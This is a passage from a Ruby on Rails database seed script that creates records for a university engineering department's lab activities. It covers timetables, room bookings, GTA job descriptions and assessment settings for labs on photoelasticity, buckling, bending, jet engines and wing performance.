\"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a85.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a85.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a86 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at86 = ActivityTimetable.where(activity_id: a86.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at86.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a86.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a86.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a86.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a86.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a86.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a87 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at87 = ActivityTimetable.where(activity_id: a87.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at87.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a87.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a87.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a87.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a87.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a87.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a88 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at88 = ActivityTimetable.where(activity_id: a88.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at88.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a88.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a88.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a88.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a88.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a88.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a90 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"239\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 4)\n at90 = ActivityTimetable.where(activity_id: a90.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at90.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a90.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a90.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a90.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a90.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a90.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a91 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3204\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at91 = ActivityTimetable.where(activity_id: a91.id).first_or_create!(duration: 480, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a91.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a91.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a91.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a91.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a91.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a92 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3207\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at92 = ActivityTimetable.where(activity_id: a92.id).first_or_create!(duration: 2100, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a92.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a92.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a92.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a92.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a92.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a93 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinders\",\n name_abrv: \"THICKWALL\", archived: false, in_drive: true, user_id: 3)\n at93 = ActivityTimetable.where(activity_id: a93.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a93.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a93.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a93.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a93.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a93.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a94 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinder\",\n name_abrv: \"THICKWALL\", archived: true, in_drive: true, user_id: 4)\n at94 = ActivityTimetable.where(activity_id: a94.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a94.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a94.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students monitor the strain through the wall of a thick cylinder, recording their data at a series of different pressures. They then derive formulae for the theoretical strains and compare their data to the theoretical calculations. A knowledge of mechanical of materials, and three-dimensional strains is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a94.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a94.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a94.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a95 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"302\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 5)\n at95 = ActivityTimetable.where(activity_id: a95.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a95.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a95.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a95.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a95.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a95.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a96 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: false, user_id: 1)\n at96 = ActivityTimetable.where(activity_id: a96.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a96.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a96.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a96.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a96.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a96.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a97 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 5)\n at97 = ActivityTimetable.where(activity_id: a97.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a97.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a97.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a97.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a97.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a97.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a98 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"304\").first_or_create!(name: \"Crack propagation\",\n name_abrv: \"CRACKPROP\", archived: true, in_drive: true, user_id: 2)\n at98 = ActivityTimetable.where(activity_id: a98.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a98.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a98.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students use direct-current potential-difference equipment to monitor the growth of a crack in a notched aluminium specimen. This data is then used to calculate the J-resistance of the material during fracture. A knowledge of fracture mechanics is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a98.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a98.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a98.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a99 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6430\").first.id, code: \"305\").first_or_create!(name: \"Mechanical Testing of Chicken Skin\",\n name_abrv: \"CHICKEN\", archived: false, in_drive: true, user_id: 3)\n at99 = ActivityTimetable.where(activity_id: a99.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a99.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a99.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a99.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a99.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a99.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a100 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"306\").first_or_create!(name: \"Performance of Jet Engines\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 2)\n at100 = ActivityTimetable.where(activity_id: a100.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a100.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a100.id).first_or_create!(criteria: \"A knowledge of jet engine operation would be desirable, although a background in mechanical or aerospace engineering would be suitable as well.\",\n job_desc:\"In this lab, students operate a small Jet-Cat engine and take thermodynamic measurements so that they can perform calculations of engine efficeincy. Students also operate an engine simulator in order to perform similar calculations in a range of different conditions.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a100.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a100.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a100.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a101 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER325\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at101 = ActivityTimetable.where(activity_id: a101.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a101.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a101.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a101.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a101.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a101.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a102 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 2)\n at102 = ActivityTimetable.where(activity_id: a102.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a102.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a102.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a102.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a102.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a102.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a103 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at103 = ActivityTimetable.where(activity_id: a103.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a103.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a103.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a103.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a103.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a103.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a104 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 5)\n at104 = ActivityTimetable.where(activity_id: a104.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a104.id).first_or_create!(user_id: 3, g_drive_link: 